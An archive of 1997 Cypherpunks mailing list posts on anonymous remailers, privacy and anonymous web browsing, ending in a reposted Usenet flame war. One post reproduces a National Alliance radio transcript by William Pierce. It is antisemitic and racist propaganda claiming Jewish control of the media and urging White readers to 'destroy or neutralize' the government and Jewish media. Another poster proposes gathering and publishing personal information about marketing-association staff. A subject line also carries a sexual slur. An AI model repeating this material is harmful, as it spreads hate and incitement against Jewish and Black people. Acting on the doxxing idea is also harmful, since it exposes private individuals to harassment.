From: gbroiles at netbox.com (Greg Broiles)
Date: Sat, 22 Mar 1997 20:59:49 -0800 (PST)
Subject: Remailer problem solution?
In-Reply-To: <199703222156.NAA06194@swan>
Message-ID: <3.0.1.32.19970322204155.007231a8@mail.io.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 01:56 PM 3/22/97 -0800, nobody at hidden.net wrote:

>John Perry is shutting down because somebody is using his remailer to
>send unkind messages to the FBI.  (BTW, probably the FBI is sending
>mean messages to the FBI.)

Perhaps it's their colleagues at another TLA. :) 

>Why would not one of these solutions work?
>
>1. Accept and send PGP encrypted messages only.

This "works" in that it reduces the number of people subjected to messages
they don't want to see, but it also makes it more difficult (or impossible)
to use remailers for tasks like:

sending info to crypto-illiterate reporters/politicians/whatever
("whistleblowing")
sending messages to newsgroups and mailing lists which don't have a shared
private key

>2. Keep a list of addresses of people who do not wish to receive mail
>from the remailers.

This is done already, but the group of people who don't want to recieve mail
from remailers but haven't signed up yet (because they don't know about
remailers) is orders of magnitude bigger than people who've signed up. Mostly
people get on the block list(s) because they've already been mailed things
they didn't want to see; by the time they learn about blocking, it's too
late.

Also, it's difficult to apply this solution to many remailers - should all
remailers block an address because one remailer operator claims to have
received a request? Or should each operator act alone, which means that one
anonymity-hostile end user must send multiple block requests? 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzS0cv37pMWUJFlhAQHf6wf+PXP/Q4C1YAAue2uqLtYJo7lIi3l2huQd
dzsNIYt77tq9ThacUwyhymOD44S7kKYB95cU44NBnLnD4Unv16jH+9AU4PWeHrhJ
lqWOhYI02lJEl3NLD4c5MR0FIRqcFj2jny2FNBpmMou/v8Mh/vJLQTcPrQP9p9Y9
4yOrbQuzafRzgrmcyLbaSzEgP+uljFP6LeP6RTfYCR4+R97xxr8veSuugYVcEX/o
Z2w7w+OiMrUtFbE+kDFHJVm/wHW1w+WxDfM//BZUPLOqTI1v62CIzWoNn7dOCeX6
GN2yn8bk17YE2Nz15AIXiD55yt96cOK6L+WvktwNQXk3rcUfbLUUsw==
=N7e1
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From vincent at dreamon.com  Sat Mar 22 21:06:43 1997
From: vincent at dreamon.com (The Bok)
Date: Sat, 22 Mar 1997 21:06:43 -0800 (PST)
Subject: ADV Weekly Transcripts
Message-ID: <3334BAAB.97B@dreamon.com>


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

If you would like to unsubscribe to this service, please e-mail
vincent at dreamon.com. For more information visit the National Alliance
web site at http://www.natall.com. For patriotic books, tapes and
videos, visit National Vanguard Books Online Catalog at
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------
American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

The Big Picture 

A Bare-Bones Outline of Our Present Predicament 

by Dr. William Pierce
Chairman, National Alliance 
 

What's the most important thing in your life? 

Is it making as much money as possible? 

Is it getting along with other people and being popular? 

Is it security? Is it happiness? 

Well, of course, most of us would like to have financial security, and
we would like to be happy. But for some of us there's something more
important than security and personal happiness. I'm addressing now the
more serious-minded listeners, the ones who are capable of understanding
things like duty and responsibility. 

Duty and responsibility: those are almost bad words these days --
definitely not fashionable. We've been conditioned by the media to be
suspicious of people who talk about such things. This is the feel-good
generation, the MTV generation. But really, we know that more important
than feeling good is doing good, doing right. The most important thing
for us is using our lives in the right way. The most important thing is
having the right purpose and serving that purpose effectively. 

We need to look beyond our bank accounts and our personal hobbies and
our immediate circle of friends in order to find purpose. We need to see
ourselves set in a larger context. We need to understand how our own
lives are important as a part of the world around us: not just the world
of here and now, but also the world of the future and the world of the
past. We need to see our own lives as a part of the historical process. 

When we do this, when we see ourselves in context, then we begin to
understand our responsibility, our purpose. We begin to understand
what's really important in our lives. We see that we have a
responsibility to the people who came before us and made it possible for
us to live, the people whose genius and work and sacrifice built our
world for us, built our civilization for us, gave us our culture. We
have a responsibility to ensure that their toil and sacrifice were not
in vain. 

And we have a responsibility to the people who will come after us, a
responsibility to all the future generations of our people. We must
ensure that what we have inherited from our ancestors will be preserved
and enhanced and strengthened by us and passed on to those who will
follow us. 

This is the most important thing in our lives: understanding this
purpose, accepting this responsibility. At least, it is the most
important thing for those of us who are serious about our lives, those
of us who have not become corrupted and trivialized by
watching too much MTV. 

So we need to be concerned about what's happening to our world today. We
need to become involved in it. We need to accept responsibility for it.
That's the whole reason for Free Speech and American Dissident Voices.
It's to help with understanding what's happening, and it's to provide a
little push, a little inspiration, to get you involved. 

In past broadcasts I've talked about many specific aspects of what we
need to be concerned about. I've talked about specific threats to our
world. I've talked about the breakdown of our system of justice, and
I've given you specific examples: the acquittal of O.J. Simpson after he
murdered two people, and the $43 million verdict against Bernard Goetz
for defending himself against Black muggers. I've talked about the lies
and the hypocrisy of the government in Washington. I've talked
about the government's ruinous trade policy. I've talked about the
Jewish monopoly control of the news and entertainment media in America
and the destructive way in which that control is used. I've talked to
you about the movement to get rid of our Bill of Rights, the movement to
scrap the First and Second Amendments, the movement to make it illegal
for us to write or say anything which is not Politically Correct, and to
take away our means to defend our rights against those who want to
abolish them. 

And all of these things are important. We must look at details, we must
look at specifics, if we are to understand what to do. Today, though,
I'd like to look at the big picture. I want to talk to you about what
has happened to us, and why, and what we must do about it. 

First, let's back off a bit, so that we can see the picture more
clearly. Three hundred years ago, when nearly all of our ancestors were
still in Europe, we had a pretty good grip on things. We were involved
in the historical process. We had a feeling for our past and a sense of
responsibility to the future. No one was telling us that it was wicked
or racist or anti-Semitic or hateful to want to ensure a better world
for our descendants. That was because we still had our wits about us,
more or less, and we did not let anyone into our midst whose aim was to
weaken us and destroy us. We had no MTV. We were all Whites; we were all
Europeans. We had no slaves, no non-Whites among us. We kept the Jews in
their ghettos and very tightly circumscribed their activities. It was
just us. We had common roots and a common concern for the future. 

Now, I'm oversimplifying things a bit to make my point, of course.
Europeans did have disagreements among themselves. We did have wars from
time to time. We did mistreat each other. But it was just us. It was all
in the family. We had no aliens among us exercising influence over us
and hating us and planning our destruction. Our books and our journals
were written by us and were published by us. There was no Jew-controlled
television. Our young people were taught in our schools and our
universities by us, not by clever aliens attempting to corrupt and
subvert. 

And among ourselves -- just us -- we were building a great civilization.
In the 18th and 19th centuries we created a world of science and music
and literature and painting which greatly surpassed anything which had
come before. And we spread our dominion over the earth. Wherever we went
we conquered: in the Middle East and India, in the Far East -- and in
the West, in the New World. We were proud and self-confident. We knew
who we were. We were White. We were European. We did not mix with those
who were not European. When we needed land for our people, we took it.
If anyone raised his hand against us, we struck him down. And thus we
built America. And it was a strong and good and progressive nation, a
White nation. 

We did make mistakes during the past 300 years, though. In America we
brought in Black slaves to work the land in the South, and we brought in
Chinese coolies to work as laborers in the West. We kept ourselves
separate from these non-White slaves and servants, but bringing them
into our living space laid the groundwork for our present disaster. 

In France and elsewhere in Europe, we let ourselves be hypnotized by
false propaganda about equality. We are all equal, all the same, this
propaganda said, and we all should mix and be brothers, and no man
should have more than another. So we let the Jews out of their ghettoes
and we let them become citizens of European countries. They repaid us by
corrupting our music and our literature and by subverting every European
institution. One of them, a Jew named Marx, launched Communism, which
eventually enslaved half of our world and murdered tens of millions of
our people, often the best elements among our people. The brightest and
most energetic and most successful of our people were butchered by the
tens of millions by the Communists in Europe. 

In America they were not able to succeed with Communism, but they
infiltrated and took over our mass media of news and entertainment: our
films, radio, television, book publishing, and major newspapers. And
with these media they pushed the false propaganda of liberalism: We are
all equal, they said, Black and White and Chinaman and Jew, all the same
-- except that you Whites have the stain of guilt on you for having
thought yourselves better than the rest of us, and now you must make
it up to us for having mistreated us in the past. 

And with this propaganda they wormed their way into our educational
establishment, into our government, into all of our institutions. And
because they controlled so many of the media, there was hardly a voice
of opposition, hardly a voice of sanity and reason to be heard in
opposition to their propaganda, and they were able to corrupt the minds
of millions of young Americans. They were able to instill feelings of
racial guilt and racial self-hatred into two generations of young White
people. 

And with their growing influence they were able to open America's
borders to the non-White world, and they were able to force racial
integration on our schools, our work places, our neighborhoods. They
replaced our European music with jazz and rock and rap. They introduced
what they fondly call "modernism" into art and literature, replacing our
culture with a Judaized trash culture. They overturned the laws against
miscegenation. They persuaded the leaders of the Christian churches to
join their revolution against the White world. They turned our
government into a cesspool, occupied by people like Bill and Hillary
Clinton. 

And so here we are today, at the end of the 20th century, facing the
prospect of becoming a minority in our own country before the middle of
the next century, and so paralyzed by fear and guilt and self-hatred
that while some of us look forward eagerly to our self-extinction most
of the rest of us refuse to do anything to avert it. 

Quite a mess! 

Now, I have greatly oversimplified the picture, just so that we could
grasp the most important features. I have not mentioned the minority of
Jews who never engaged in or supported the subversive activities of the
majority of Jews. I have not talked about all of the criminals among our
own people, besides the Clintons, who have collaborated with the Jews.
Those are details which are important, and I have discussed those
details in other broadcasts. But right now we want to grasp just the
coarsest features of our predicament. We want to understand, in a very
rough simple way, what our situation is and what we must do about it.
I'll spell out these rough and simple features: 

First, America has been transformed from a White country before the
Second World War, a White country in which the 10% non-White portion of
the population was strictly segregated from the White population, into a
multiracial morass today. The non-White population in America is
increasing so rapidly that it will constitute a majority, and we will be
a minority, within the next 50 years. 

Second, America's government is deliberately and forcefully implementing
this racial transformation. The government, an institution which our
ancestors created to be the guardian of our welfare, has become the
deadliest enemy of our people. It is deliberate government policy which
is responsible for the flood of non-White immigrants, both legal and
illegal, now pouring across our borders. It is deliberate government
policy which feeds and houses and encourages the breeding of the huge
and growing non-White underclass in our cities. It is deliberate
government policy which mixes the non-White population with the
White population and encourages miscegenation. 

Third, most of the White population in America is collaborating in its
own destruction, partly from ignorance, partly from fear, but mostly
from a blind, animalistic urge to conform to perceived norms of public
opinion. 

Fourth, the mass media of news and entertainment provide the guiding
spirit for White America's rush to self-destruction, and those media are
largely in the hands of the Jewish minority. The controlled media, with
virtual unanimity, push the party line of egalitarianism and
multiculturalism and racial mixing. The controlled media, with virtual
unanimity, push the party line of feminism and of toleration for
homosexuality and of White "guilt" for supposed historic wrongs to
non-Whites. The media, by influencing the attitudes and opinions of most
voters, wield the power which determines which politicians get elected
to public office in America. The media -- especially the media of film
and television -- have done more than any other institution to degrade
the cultural and moral level of our people. And the people who wield the
media as a weapon against us are Jews. 

That's our situation today, in very rough outline. And, of course, I've
left out a thousand details and refinements and qualifications. I've not
talked about the destructive, anti-White doctrines of many of the
Christian churches. I've not mentioned the slavishly pro-Jewish and
anti-White policies of many powerful White politicians, such as Edward
Kennedy, Bill Clinton, and Robert Dole. I've ignored economics
altogether. I've not said anything about the destructive effects of the
government's trade policy. I've not explored the Jews' motivation for
what they're doing. 

I've just pointed out four basic facts: first, America is being
transformed very rapidly from a White country to a non-White country;
second, the government is deliberately implementing this transformation;
third, most of the White population is not resisting the transformation;
and fourth, the mass media, controlled by the Jews, are providing the
driving force for it all. 

What this means to those of us who feel some sense of responsibility to
our ancestors and to our posterity is that our people are being faced
with the greatest threat ever, with the threat of extinction, and that
we must do whatever we can to avert this threat. 

And what we must do -- again in the very roughest and crudest terms --
is, first, destroy or neutralize the two hostile forces which are
leading us to our destruction � namely, the government and the
Jew-controlled media; and second, start our badly corrupted and misled
people back on the road to duty and responsibility. 

I'm leaving out many important details, of course. I haven't even
mentioned how we are to deal with the Blacks in our midst, for example.
But that is a detail we know that we can handle, once we have taken care
of the government and the Jewish media and begun curing our own people
of their present sickness. 

So, we know roughly what our problem is and roughly what we must do
about it. Now we must get back to the details, because that's the only
way we can make plans and execute them. But seeing the big picture is
important in making plans, because it sets the boundaries for us. Once
we understand the urgency of our situation, once we understand the
finality of the fate designed for us by our enemies, we know that we
must either conquer or die. If we do not defeat those who intend to
destroy us, and defeat them soon, then our people will perish forever.
What this means for us is that no matter how small our likelihood for
success, we must act. No matter how desperate the gamble, we must take
it. We must not fail to act. We must not do nothing, simply because no
plan seems certain of success. No loss as a consequence of acting can be
greater than the loss from failing to act. If we are responsible adults,
if we are honorable adults, then we must act. There is no acceptable
excuse for not acting -- not family obligations, not personal security,
not career considerations -- no excuse. If we do not act, then
everything will be lost, every reason for living, every reason for which
our ancestors lived and worked and sacrificed and suffered and died. The
deadly filth of Jewish liberalism will spread over our entire race and
destroy it -- irrevocably, forever. 

I promised you details, and now I'm running out of time. But here's one
detail: no matter what else we do, our first move must be to alert all
of our people to the situation I have outlined today. That's the first
step: education. Education alone is not enough, of course, but it is
necessary. 

Many people will not want to be educated. They will be afraid to listen
to anything which is not Politically Correct. They will hate us when we
try to educate them. They will go back to their MTV. But for every fool
filled with hate and fear who will not listen, we will find a person who
already has an understanding of the things I have said today and who
only needs to hear us say them in order to gain enough confidence to
know that his understanding is correct. And we will find other people
who have not yet achieved understanding but whose hearts and minds are
open, and who can accept the truth when it is presented to them. 

And so that is our immediate task: yours as well as mine. We must reach
out to our people. We must alert them. We must educate them. We must
encourage them. We must inspire them. 

And here's a beautiful, wonderful thing: when you reach out to other
people to encourage them and inspire them, you yourself will be
encouraged and inspired. When you find out how many other people there
are who share our concerns, our feelings, our values, our sense of
responsibility, you cannot help but be encouraged. 

Even the hatred that you encounter from some people -- especially from
people in the controlled media -- will be encouraging. For you will
understand that they would not hate us so much if they did not fear us.
And the reason that they fear us is that deep inside them they know that
what we say is true. 

So let's get out there -- all of us -- and start looking for
encouragement! 

~
For more information or to find out how you can join the leading
patriotic organization in the world today, visit the National Alliance
web site and read "What is the National Alliance" at
http://www.natvan.com/WHAT/WHATDIR.HTML.





From harka at nycmetro.com  Sat Mar 22 23:57:01 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sat, 22 Mar 1997 23:57:01 -0800 (PST)
Subject: Remailer problem solu
Message-ID: <TCPSMTP.17.3.23.3.3.38.2780269260.1581932@nycmetro.com>


-----BEGIN PGP SIGNED MESSAGE-----

IMHO the remailer network needs to be extended so as to place the
risk on (too) many shoulders, thereby reducing it considerably.
The winsock remailer has an "shared" option included, meaning every
regular e-mail account could serve as a remailer (or at least as
middleman). If such an option could be included in e-mail programs,
the danger of remailers "dropping like flies left and right" would
cease.
The accounts could be published on a web page together with the
instructions a la Raph's remailer list and the country, where they
are located in. Therefore they could even serve as exit point, for
the laws of the receiver don't apply there. The only problem I see
with shared accounts though is a flood attack, rendering it unusable
for the account holder. So probably middleman or PGP-encrypted-only
are the most reasonable options.
Why not extending the source of Private Idaho to include remailer
capabilities, for example?

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

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If encryption is outlawed, only outlaws will have encryption...







From jonathan at gaw.net  Sun Mar 23 00:36:21 1997
From: jonathan at gaw.net (Jonathan Gaw)
Date: Sun, 23 Mar 1997 00:36:21 -0800 (PST)
Subject: "why privacy" revisit
Message-ID: <3.0.32.19970323023551.00688610@pconline.com>


the responses i've gotten have been all too theoretical and, i believe, too
hypothetical and removed for most people. when asked if they value their
privacy, the public overwhelmingly agrees. when asked what their privacy
means to them, i don't think they have a solid answer. i get the sense that
most people don't see the hazards of corporations analyzing their buying
patterns, voter registration records and medical records. i don't think it
has come home to most people. 

i don't disagree with the people on the list. i am just having a hard time
translating it to the public in concrete terms. 

j.
>
>At 09:50 PM 3/22/97 -0500, you wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>> -=> Quoting In:jonathan at gaw.net to Harka <=-
>>
>> In> when i talk to people like the Direct Marketer's Assn., they honestly
>> In> don't understand what the fuss is about. Their attitude is, quite
>> In> literally, "What's the harm being done here?"
>>
>> In> what do you think the community interested in privacy protection can
>> In> do to best illustrate to the general public the "harm" in the
>> In> collection of personal information?
>>
>>Information warfare. Collect information about DMA people, using
>>their own weapons against them. Then post it somewhere on the
>>Internet via remailers and cc themselves, Reuters and the New York
>>Times...
>>
>>Ciao
>>
>>Harka
>>___ Blue Wave/386 v2.30 [NR]
>>
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>>
>>
>>If encryption is outlawed, only outlaws will have encryption...
>>
>>
>>
******************************************************
Jonathan Gaw
The Star Tribune
Minneapolis, Minnesota
jonathan at gaw.net
*********Wasting Digital Bandwidth Since 1986*********





From harka at nycmetro.com  Sun Mar 23 01:59:33 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sun, 23 Mar 1997 01:59:33 -0800 (PST)
Subject: Remailers & Linux Dis
Message-ID: <TCPSMTP.17.3.23.5.6.26.2780269260.1581987@nycmetro.com>


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:alan at ctrl-alt-del.com to Harka <=-

 In> I think that the actual thing preventing ISPs from setting up
 In> remailers is more of a liability issue, as opposed to a
 In> technical one.

Absolutely. When I asked my ISP to implement a remailer in the Linux
sub system, they said "You mean, OUR Linux??" "NO WAY!!".
People are simply afraid of possible liability suits. Therefore
remailers should rather be viewed as a problem solved by individuals
(not ISP's) and lot's of them...

Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

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If encryption is outlawed, only outlaws will have encryption...







From harka at nycmetro.com  Sun Mar 23 02:00:01 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sun, 23 Mar 1997 02:00:01 -0800 (PST)
Subject: "why privacy" revisit
Message-ID: <TCPSMTP.17.3.23.5.6.40.2780269260.1581988@nycmetro.com>


-----BEGIN PGP SIGNED MESSAGE-----


 -=> Quoting In:jonathan at gaw.net to Harka <=-

 In> the responses i've gotten have been all too theoretical and, i
 In> believe, too hypothetical and removed for most people. when asked if
<snip>
 In> i don't disagree with the people on the list. i am just having
 In> a hard time translating it to the public in concrete terms.

 >At 09:50 PM 3/22/97 -0500, you wrote:

 >>Information warfare. Collect information about DMA people, using
 >>their own weapons against them. Then post it somewhere on the
 >>Internet via remailers and cc themselves, Reuters and the New York
 >>Times...

Think about it. If there were a couple widely publicized cases,
where all the easily obtainable information of individuals were
publically postet on the Net, the "public" as such would become
aware of it. An example was the Oregon DMV CD...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

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If encryption is outlawed, only outlaws will have encryption...







From aba at dcs.ex.ac.uk  Sun Mar 23 02:36:38 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 23 Mar 1997 02:36:38 -0800 (PST)
Subject: viewing the web anonymously (Re: Cyberpromo hacked)
In-Reply-To: <TCPSMTP.17.3.22.-11.49.46.2780269260.1581755@nycmetro.com>
Message-ID: <199703230745.HAA00298@server.test.net>



Harka <harka at nycmetro.com> writes:
>  In> Cyberpromo is apparently blocking anonymizer's access to its
>  In> page.  It also had a statement that they believe they know the
>  In> identity of the hacker which they have turned over to the
>  In> authorities.
> 
> Yes, have experienced the same thing. "Connection call failed".
> Seemingly a lot of people have checked out their (hacked) page
> anonymously and they must have disliked that idea a lot...
> Which brings out a whole new issue though: is there a way besides
> the Anonymizer to view a page anonymously?

I think there are ways to read web pages via email.  Using a nymserver
and one of these services would be a pretty secure way to read web
pages.  Not very interactive, though.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From tcmay at got.net  Sun Mar 23 03:33:19 1997
From: tcmay at got.net (Timothy C. May)
Date: Sun, 23 Mar 1997 03:33:19 -0800 (PST)
Subject: "why privacy" revisit
In-Reply-To: <3.0.32.19970323023551.00688610@pconline.com>
Message-ID: <v03007815af5ac6e826a1@[207.167.93.63]>


At 2:35 AM -0600 3/23/97, Jonathan Gaw wrote:
>the responses i've gotten have been all too theoretical and, i believe, too
>hypothetical and removed for most people. when asked if they value their
>privacy, the public overwhelmingly agrees. when asked what their privacy
>means to them, i don't think they have a solid answer. i get the sense that
>most people don't see the hazards of corporations analyzing their buying
>patterns, voter registration records and medical records. i don't think it
>has come home to most people.
>
>i don't disagree with the people on the list. i am just having a hard time
>translating it to the public in concrete terms.


Hmmmhhh. I don't recall seeing any messages from you stating that this was
your interest, finding simple hooks the readers of a newspaper can
understand.

I assumed you were interested in the issue as just another participant in
the list, not as a journalist looking for a story angle.

Frankly, readers of newspapers don't have the background to understand the
real issues, for the most part. Expecially given the brevity and
superficiality of most newspaper articles.  And if they ever really figured
out what most of the active participants here stand for, they would likely
vote to ban our existence.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sun Mar 23 04:10:15 1997
From: tcmay at got.net (Timothy C. May)
Date: Sun, 23 Mar 1997 04:10:15 -0800 (PST)
Subject: Remailers: Free vs. Fee
In-Reply-To: <3.0.1.32.19970322175306.007ca580@smtp1.abraxis.com>
Message-ID: <v03007817af5ad0b4740f@[207.167.93.63]>


At 5:53 PM -0500 3/22/97, Alec wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>A question for those legally-minded list members.
>
>Poorly put:
>
>Does the requirement an individual pay a fee (or the acceptance of a fee) for
>remailing services create a liability on the part of the remailer in regard
>to the content of the message?
>
>Or, if the service is free does the remailer have less risk than if he
>charged for it?

Have you been skipping the messages from Greg Broiles on this very topic?

I suggest you dig up his messages and read them.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From dlv at bwalk.dm.com  Sun Mar 23 05:48:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Mar 1997 05:48:34 -0800 (PST)
Subject: Cocksucker John Gilmore and his mouthpiece Rich Graves exposed as liars
Message-ID: <g8B14D17w165w@bwalk.dm.com>


I'll quote without comment an article from the alt.cypherpunks newsgroup.

]Path: ...!bloom-beacon.mit.edu!senator-bedfellow.mit.edu!sethf
]From: sethf at athena.mit.edu (Seth Finkelstein)
]Newsgroups: comp.org.eff.talk,alt.censorship,alt.cypherpunks
]Subject: The flames from the (gG)raves
]Date: 22 Mar 1997 03:12:09 GMT
]Organization: Massachvsetts Institvte of Technology
]Lines: 269
]Distribution: inet
]Message-ID: <5gvim9$9d8 at senator-bedfellow.MIT.EDU>
]References: <5gkfag$36o at quixote.stanford.edu> <5gmnuj$1ha at senator-bedfellow.MIT.EDU> <m0w7HEz-00022AC at quixote.stanford.edu> <5gqfpk$ate at senator-bedfellow.MIT.EDU> <5gv2kg$lc5 at quixote.stanford.edu>
]Reply-To: sethf at mit.edu
]NNTP-Posting-Host: frumious-bandersnatch.mit.edu
]
]
]In article <5gv2kg$lc5 at quixote.stanford.edu>, Rich Graves <rcgraves at disposable.com>
]>Warning: The Happynet Unofficial Anti-Censorship Committee has determined
]>the following post to be inappropriate for children and fight-censorship
]>subscribers. Only Seth Finkelstein has been empowered to speak the whole
]>truth by the anti-censorship review board. Please enter the following into
]>your killfile:
]
]	Rich is getting nuttier and nuttier. This is not
]unexpected. His pattern is to get more and more slimy as you argue
]with him. Note that the fact that he argues with people who are
]themselves very vile people, Holocaust-deniers, does not change the
]demonstrated truth of this statement. This is again why many people
]end up just ignoring him completely and not wanting to read anything
]from him.
]
]>Seth is nothing if not a reasonable unbiased observer. Trust him. Please.
]
]	And I've noted many a time, my qualification is I-was-there.
]I have, however, repeatedly tried to resolve this dispute and read all
]your articles (aggravating though it is almost all of the time). That
]should be worth something.
]
]>No, I mean it. From articles <5ghg1t$7j4$5 at nntp2.ba.best.com> and
]><5ghg1n$7j4$4 at nntp2.ba.best.com>, just to be sure I guess:
]>
]>|Rich, have you ever wondered why so many diverse people, with wildly
]>|diverse political views, have accused you of being a left or center
]>|fascist or a commie sympathiser.
]>|
]>|And no, the, fact that you have been accused of being a commie symp is
]>|not evidence that those who called you a fascist were wrong, and vice
]>|versa.  The various political positions you have been accused of, tend
]>|to be hard to distinguish in practice.
]
]	I suspect this is some sort of a trap, but, noting that I am
]walking into this with my eyes open and aware of it: Rich has lied
]here, and in all the referenced quotes below. They are not from me,
]but someone else. By this tactic, he hopes to imply that if I call him
]a liar, and someone else (say a Holocaust-denier) does the same thing,
]both are equally valid. It is exactly the trick I just detailed a
]posting or two ago, imposing moral equivalence on his critics.
]	But note, he did not have to lie in the above to do this
]rhetorical tactic. He could have tried to pull it off by contrasting
]similar-sounding, but correctly-attributed, quotes. But he did not, he
]lied repeatedly. There is no way this sort of thing can be explained
]by benefit of the doubt or a human error or believing separate
]reports. It is a malicious and knowing fabrication. By the standards
]Rich espouses (for other people ...)  this should condemn him for all
]eternity.
]
]>And article <5gi741$cbp$1 at nntp2.ba.best.com>:
]>
]>|Another example of your disturbing affection for state informers and
]>|government goons with guns.
]>[...]
]>|I have no idea what these claims are, but I confidently believe a
]>|couple of things about you that you have forcefully denied.
]
]	Didn't write that. I don't care what Rich thinks about guns,
]though I wonder if he should be in one of the groups which should
]certainly be denied them (... history of mental illness).
]
]>And article <5gmff0$109$4 at nntp2.ba.best.com>:
]>
]>|You are a habitual liar, an apologist for state repression, and a
]>|loon.
]
]	Didn't write that. I don't know about "habitual", but I suppose
]it's arguable. I don't care about Rich's politics. Loon, DEFINITELY!
]
]>And <5gqbd5$rkm$2 at nntp2.ba.best.com>:
]>
]>|You piously declare you are on the side of the angels, while
]>|systematically circulating lies that hurt us and benefit the enemy.
]
]	Didn't write it, but I could have :-). But the trick there is
]that "the enemy" could mean in the writer's mind "The Jewish Conspiracy",
]but in my mind "Sensation-Mongering Journalists". The two statements
]then may *sound* alike, but actually be completely different.
]
]>And <5gu8v6$nf$2 at nntp2.ba.best.com>:
]>
]>|Rich regularly circulates "facts" that are systematically off base in
]>|ways that legitimize and justify the lawless acts of governments and
]>|which denigrate peoples rights.
]
]	Didn't write it, again, I very rarely deal with Rich's
]general beliefs about government. I get far too much of him as it is.
]
]>|When called on these he then piously whines how much in favor of
]>|liberty he is.
]>|
]>|He is damned statist liar.
]
]	Didn't write it, wouldn't say "statist liar". Of course, this
]repeated tactic of misattribution and the broader trick will speak for itself.
]
]>And <5gu8i6$nf$1 at nntp2.ba.best.com>:
]>
]>|Oh aren't you wonderful
]>|
]>|You talk the talk but you do not walk the walk.
]>|
]>|You are not on Phil Zimmerman's side.  You are on the side of the
]>|feds.
]
]	Nowadays, I don't think Rich has any side except his own. He
]strikes me as dangerously unstable. Luckily, he only explodes in whining
]rants - so far.
]
]>Please read no further. This is your last warning.
]>
]>OK, I lied. I do that habitually, don't you know. THIS is your last
]>warning.
]
]	Doesn't make it right. Most of the time, you slant and ignore
]contrary evidence. That hasn't worked for you in this thread, so now
]you've escalated. One might also point to the absurdity of posting
]long vitriolic articles and saying "don't read this". It's part of a
]pattern of doing something nasty and vicious and vile, and then
]denying that you're actually doing it.
]
]
]>In article <5gqfpk$ate at senator-bedfellow.MIT.EDU>,
]>Seth Finkelstein <sethf at mit.edu> wrote:
]>>       This is so ironic given your venom-filled postings. Yes, I am
]>>flaming you back. It's not nearly as fun when the target is defending
]>>themselves, is it? You just can't get away with the mud without consequences.
]>
]>Seth, you weren't the target, though for what you've done with your
]>miscarried "Justice on Campus," you should be. Since you insist, I'll
]>remedy that lack below.
]
]	Umm, you've flamed a lot of people in this thread. And Justice
]on Campus has a lot of contributors, I can't take all credit or blame
]for every part it. I've had a heavy role in some parts of it, and
]deferred in other pieces.
]
]>>>Seth, go to www.dejanews.com. Note that a thread under this title began on
]>>>March 1st. Note that it was a reasonable and civil reply to John Wallace's
]>>>reasonable and civil reply to me. Note that there were several reasonable
]>>>and civil followups. Note that the current topic of this thread did not
]>>>start until March 13th.  Note when you arrived, when the content-free
]>>>flames started, and how I broke off a more reasonable subthread to get
]>> ^^^^^^^^^^^^^^
]>>
]>>       Wrong. Note that you smeared everyone around in article
]>>id <5g9sin$g5p at quixote.stanford.edu>, that's what started the flame war.
]>
]>Yes, the date on that article is March 13th. There were nine articles in
]>the thread prior to that one. The first post to the thread was March 1st,
]>following up to John Wallace's citation of my name on the so-called
]>fight-censorship list in late February. I was unable to respond to the
